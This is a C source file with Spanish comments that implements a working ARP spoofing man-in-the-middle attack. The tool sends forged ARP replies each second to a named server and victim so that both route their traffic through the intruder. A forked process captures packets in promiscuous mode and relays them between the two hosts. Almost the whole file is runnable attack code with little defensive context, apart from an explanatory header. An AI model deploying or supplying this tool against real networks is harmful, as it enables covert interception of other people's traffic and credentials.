/*****************************************************************************
* 
*	autor: Daniel Lerch
*	url: http://daniellerch.com
*
******************************************************************************
* 
* 	--> Uso de ARP Spoofing en ataques MITM (Man in the middle):
*
*	El intruso (I), envía mensajes ARP REPLY al servidor(S) y a la víctima (V),
*	haciéndole creer a (S) que es (V) y a (V) que es (S). The esta forma, 
*  y reenviando los paquetes de (V) a (S) y de (S) a (V), el intruso se situa 
*  entre ambos, realizando un ataque de hombre en el medio (mitm).
*
* 
*    SERVIDOR                      VICTIMA
*	  S_mac                         V_mac
*    S_ip                          V_ip
*    HOST A (S)  _____       _____ (V) HOST V
*                     \     / 
*                      \   /
*                       \ /
*                        |
*                        |
*                       (I)
*                     INTRUSO
*                     I_mac
*                     I_ip
*
******************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h>
#include <sys/socket.h>
#include <net/ethernet.h>
#include <net/if_arp.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/ioctl.h>  
#include <sys/wait.h>  

/* Prototipos */
void send_arp_packet(char *src_mac, 
                     char *src_ip, 
                     char *dst_mac, 
                     char *dst_ip);

void redirect_packet(char *I_mac,
							char *S_mac,
							char *S_ip,
							char *V_mac,
							char *V_ip );

char* getmacfromarpcache (char *ipaddr);

char *inetaddr ( u_int32_t ip );

void send_packet (char* buffer, int len);



/* Cabecera ARP */
struct arp_hdr {
	unsigned short int hardware;
	unsigned short int protocol;
	char hw_addr_len;  
	char proto_addr_len;
	unsigned short operation;
	char src_addr[6];
	char src_ip[4];
	char dst_addr[6];
	char dst_ip[4];
};





/*****************************************************************************
*	MAIN
******************************************************************************/
int main (int argc, char **argv) {

   struct ifreq if_data;
   int sockd;

	/* IPs y MACs */
	unsigned char S_ip[16];  /* 4 */
	unsigned char S_mac[16]; /* 6 */
	unsigned char V_ip[16];  /* 4 */
	unsigned char V_mac[16]; /* 6 */
	unsigned char I_ip[16];  /* 4 */
	unsigned char I_mac[16]; /* 6 */

   u_int32_t local_ip;


	/* Verificación del número de parámetros */
	if (argc!=3) {

		printf ("%s ip_server ip_victim\n", argv[0]);
		exit(EXIT_FAILURE);
	}

	/* Lectura de parámetros: IP del servidor y la víctima */
	sscanf (argv[1], "%d.%d.%d.%d", &S_ip[0], &S_ip[1], &S_ip[2], &S_ip[3]);
	sscanf (argv[2], "%d.%d.%d.%d", &V_ip[0], &V_ip[1], &V_ip[2], &V_ip[3]);

   /* MAC del servidor */
	sscanf (getmacfromarpcache(argv[1]) ,"%2X:%2X:%2X:%2X:%2X:%2X", 
	        &S_mac[0], &S_mac[1], &S_mac[2], &S_mac[3], &S_mac[4], &S_mac[5]);

   /* MAC de la víctima */
	sscanf (getmacfromarpcache(argv[2]) ,"%2X:%2X:%2X:%2X:%2X:%2X", 
           &V_mac[0], &V_mac[1], &V_mac[2], &V_mac[3], &V_mac[4], &V_mac[5]);

   /* Crea un socket para leer la interfaz de red*/
   if ((sockd = socket (AF_INET, SOCK_DGRAM, 0)) < 0)
   {
      perror("socket");
      exit (0);
   }

   /* Interfaz eth0 */
   strcpy (if_data.ifr_name, "eth0");

   /* MAC del intruso (local)  */
   if (ioctl (sockd, SIOCGIFHWADDR, &if_data) < 0) {
      perror ("ioctl(): SIOCGIFHWADDR \n");
      exit(EXIT_FAILURE);
   }
   memcpy (I_mac, if_data.ifr_hwaddr.sa_data, 6);

   /* IP del intruso (local)  */ 
   if (ioctl (sockd, SIOCGIFADDR, &if_data) < 0) {
      perror ("ioctl(); SIOCGIFADDR \n");
      exit(EXIT_FAILURE);
   }                      
   memcpy ((void *) &local_ip, (void *) &if_data.ifr_addr.sa_data + 2, 4);

	sscanf (inetaddr(local_ip), "%d.%d.%d.%d", 
           &I_ip[0], &I_ip[1], &I_ip[2], &I_ip[3]);


   printf("\n\n       %s\t\t%s \n" \
          "           (S)  _____       _____ (V)         \n" \
          "                     \\     /                 \n" \
          "                      \\   /                  \n" \
          "                       \\ /                   \n" \
          "                        |                     \n" \
          "                       (I)                    \n" \
          "                  %s                          \n\n\n",
          argv[1], argv[2], inetaddr(local_ip) );

   /*
   printf ("S_ip: %d.%d.%d.%d\n", S_ip[0], S_ip[1], S_ip[2], S_ip[3]); 
   printf ("V_ip: %d.%d.%d.%d\n", V_ip[0], V_ip[1], V_ip[2], V_ip[3]); 
   printf ("I_ip: %d.%d.%d.%d\n", I_ip[0], I_ip[1], I_ip[2], I_ip[3]); 

   printf ("S_mac: %.2X:%.2X:%.2X:%.2X:%.2X:%.2X \n", 
            S_mac[0], S_mac[1], S_mac[2], S_mac[3], S_mac[4], S_mac[5]); 
   printf ("V_mac: %.2X:%.2X:%.2X:%.2X:%.2X:%.2X \n", 
            V_mac[0], V_mac[1], V_mac[2], V_mac[3], V_mac[4], V_mac[5]); 
   printf ("I_mac: %.2X:%.2X:%.2X:%.2X:%.2X:%.2X \n", 
            I_mac[0], I_mac[1], I_mac[2], I_mac[3], I_mac[4], I_mac[5]); 
   exit(0); 
   */
   

	/* Dos procesos */
	int pid = fork();

	if (pid < 0) {
		
		printf ("fork()");
		exit(EXIT_FAILURE);
	}

	/* Proceso padre */
	if (pid != 0) {

		while (1) {

			/* 
   		 * Le decimos a la víctima que la IP del servidor corresponde a la
		    * dirección mac del intruso.
   		 */
			send_arp_packet (I_mac, S_ip, V_mac, V_ip);

			/* 
		    * Le decimos al servidor que la IP de la victima corresponde a la
   		 * dirección mac del intruso.
		    */
			send_arp_packet (I_mac, V_ip, S_mac, S_ip);
		
			sleep(1);
		}
	}

	/* Proceso hijo */
	else {

		redirect_packet(I_mac, S_mac, S_ip, V_mac, V_ip );
	}

   return 0;
}


	

/*****************************************************************************
*	ENVÍO DE PAQUETES ARP:
*
*  Envía paquetes ARP (spooffing), permitiendo establecer las direcciones 
*  MAC e IP origen y destino.
*
*	src_mac: Dirección MAC del host origen.
*	src_ip: Dirección IP del host origen.
*	dst_mac:	Dirección MAC del host destino.
*	dst_ip: 	Dirección IP del host destino.
******************************************************************************/
void send_arp_packet(char *src_mac, 
                     char *src_ip, 
                     char *dst_mac, 
                     char *dst_ip) {

	/* socket */
	int sock;

	/* Tamaño del buffer capaz de contener un paquete ARP */
	unsigned int buffer_size = 
	sizeof(struct arp_hdr) + sizeof(struct ether_header);

	/* Buffer que contendrá el paquete ARP */
	unsigned char buffer[buffer_size];
	memset(buffer,0,buffer_size);

	/* Cabecera ethernet */
	struct ether_header *eth = (struct ether_header *)buffer;

	/* Cabecera ARP */
	struct arp_hdr *arp = 
	(struct arp_hdr *)(buffer + sizeof(struct ether_header));


	/* Dispositivo  */
	char dev[5];
	strncpy(dev, "eth0", 5);

	/* Creación del socket */
	if ((sock = socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP)))==-1) { 
		
		perror("socket()"); 
		exit(EXIT_FAILURE); 
	}

	/* Rellena la cabecera ethernet */
	memcpy(eth->ether_dhost,dst_mac,ETHER_ADDR_LEN);
	memcpy(eth->ether_shost,src_mac,ETHER_ADDR_LEN);
	eth->ether_type = htons(ETHERTYPE_ARP);

	/* Rellena la cabecera ARP */
	arp->hardware = htons(ARPHRD_ETHER);
	arp->protocol = htons(ETH_P_IP);
	arp->hw_addr_len = 6;  	
	arp->proto_addr_len = 4;
	arp->operation = htons(ARPOP_REPLY);
	memcpy(arp->src_addr, src_mac,6);
	memcpy(arp->src_ip, src_ip, 4);
	memcpy(arp->dst_addr, dst_mac, 6);
	memcpy(arp->dst_ip, dst_ip, 4);

	/* Dispositivo utilizado "eth0" */
	struct sockaddr addr;
	strncpy(addr.sa_data, dev, sizeof(addr.sa_data));

	/* Envío del paquete ARP */	
	if ((sendto(sock, buffer, buffer_size, 0, 
        &addr, sizeof(struct sockaddr)))==-1) {

		perror("sendto()");
		exit(EXIT_FAILURE);
	}


}


/*****************************************************************************
*	REDIRECCIÓN DE PAQUETES:
*
*	Realiza el trabajo de redirección del intruso, el MITM.
*  Recibe paquetes con una dirección IP válida y la dirección MAC del 
*  intruso, y los reenvía al servidor o a la víctima, según corresponda.
*
*	I_mac: Dirección MAC del intruso.
*	S_mac: Dirección MAC del servidor.
*	S_ip:  Dirección IP del servidor.	
*	V_mac: Dirección MAC de la víctima.
*	V_ip:  Dirección IP de la víctima.	
******************************************************************************/
void redirect_packet(char *I_mac,
							char *S_mac,
							char *S_ip,
							char *V_mac,
							char *V_ip ) {

	/* socket */
   int sock;
   
   /* Buffer donde guardaremos el paquete */
   char buffer[1500];
                                                                                
   /* Cabecera ethernet */
   struct ether_header *eth = (struct ether_header *) buffer;
                                                                                
   /* Cabecera IP */
   struct iphdr *ip =
   (struct iphdr  *) (buffer + sizeof(struct ether_header));
                                                                              
   /* Cabecera TCP */
   struct tcphdr *tcp = 
	(struct tcphdr *)(buffer + sizeof(struct iphdr));

	/* Datos */
	char *data = 
	(char*)(buffer + sizeof(struct iphdr) + sizeof(struct tcphdr));
  
   /* Socket de captura de todos los paquetes. (modo promiscuo) */
   if((sock = socket(AF_INET, SOCK_PACKET, htons(0x3))) == -1) {
                                                                                
      perror("socket()");
      exit(EXIT_FAILURE);
   }


   /* Bucle infinito de lectura de paquetes */
   for(;;) {
      
      int buffer_size = 0;

		/* Lectura de paquetes */
      read(sock, buffer, sizeof(buffer));	

      buffer_size = htons(ip->tot_len)+14;  

      /* Paquete de V a S */
      if (  (ip->saddr ==  *(unsigned long int*)V_ip) &&
            (ip->daddr ==  *(unsigned long int*)S_ip) ) {
         
         if (  (*(unsigned long int*)I_mac != 
                *(unsigned long int*)eth->ether_shost ) &&
               (*(unsigned long int*)S_mac != 
                *(unsigned long int*)eth->ether_dhost ) ) {

      	   memcpy(eth->ether_shost, I_mac, 6);
			   memcpy(eth->ether_dhost, S_mac, 6);
            send_packet (buffer, buffer_size); 
         }
      }

      /* Paquete de S a V */
      if (  (ip->saddr ==  *(unsigned long int*)S_ip) &&
            (ip->daddr ==  *(unsigned long int*)V_ip) ) {

         if (  (*(unsigned long int*)I_mac != 
                *(unsigned long int*)eth->ether_shost ) &&
               (*(unsigned long int*)V_mac != 
                *(unsigned long int*)eth->ether_dhost ) ) {

	   		memcpy(eth->ether_shost, I_mac, 6);
		   	memcpy(eth->ether_dhost, V_mac, 6);
            send_packet (buffer, buffer_size); 
         }
      }
      
   }

}

/******************************************************************************
*  Obtiene una dirección MAC de la cache ARP a partir de una IP. 
*
*  param:   char* ipaddr   Dirección IP. 
*  return:  char* arpaddr  Dirección ARP buscada. 
******************************************************************************/
char* getmacfromarpcache (char *ipaddr) {

   char  ip[100];
   int   type;
   int   flags;
   static char arpaddr[100];
   char  mask[100];
   char  dev[100];
   char  line[200];
   int   pid;
   int   status;
   FILE *fp;

   /* Abre el fichero de cache arp */
   if ((fp = fopen("/proc/net/arp", "r")) == NULL) {
        perror("fopen()");
        exit(1);
    }
     
   /* Obtiene la MAC asociada a una IP */
    if (fgets(line, sizeof(line), fp) != NULL) {
      
      while (fgets(line, sizeof(line), fp))  {

         sscanf(line, "%s 0x%x 0x%x %100s %100s %100s\n",
                ip, &type, &flags, arpaddr, mask, dev);

         if (strcmp(ip, ipaddr)==0) return arpaddr;
      }
    }    

   fclose(fp);  
   
   /* Si la IP no se encuentra en la cache, refresca la tabla con un ping */
   if ((pid=fork()) < 0) {
   
      perror("fork()"); 
      exit(1);
   }
   if (pid==0) {

      execl("/bin/ping", "ping", "-c", "1", ipaddr, 0);
      exit(1); 
   }  

   wait(&status);
   if (status==0) return getmacfromarpcache(ipaddr); 
   else {
      printf("ping error\n"); 
      return "";
   }
   
}


/******************************************************************************
*  Función de utiliadad para pasar una ip en formato u_int32_t a un char
******************************************************************************/
char *inetaddr ( u_int32_t ip ) 
{
   struct in_addr in;
   in.s_addr = ip;
   return inet_ntoa(in);
}
   

/******************************************************************************
*  Pone un array de bytes en la red
******************************************************************************/
void send_packet (char* buffer, int len) {
 
	struct sockaddr addr;
	char dev[5];
   int sock;


	/* Dispositivo  */
	strncpy(dev, "eth0", 5);

	/* Creación del socket */
	if ((sock = socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP)))==-1) { 
		
		perror("socket()"); 
		exit(EXIT_FAILURE); 
	}

	/* Dispositivo utilizado "eth0" */
	strncpy(addr.sa_data, dev, sizeof(addr.sa_data));

	/* Envío del paquete */	
	if ((sendto(sock, buffer, len, 0, 
        &addr, sizeof(struct sockaddr)))==-1) {

		perror("sendto()");
		exit(EXIT_FAILURE);
	}

   close (sock); 
}


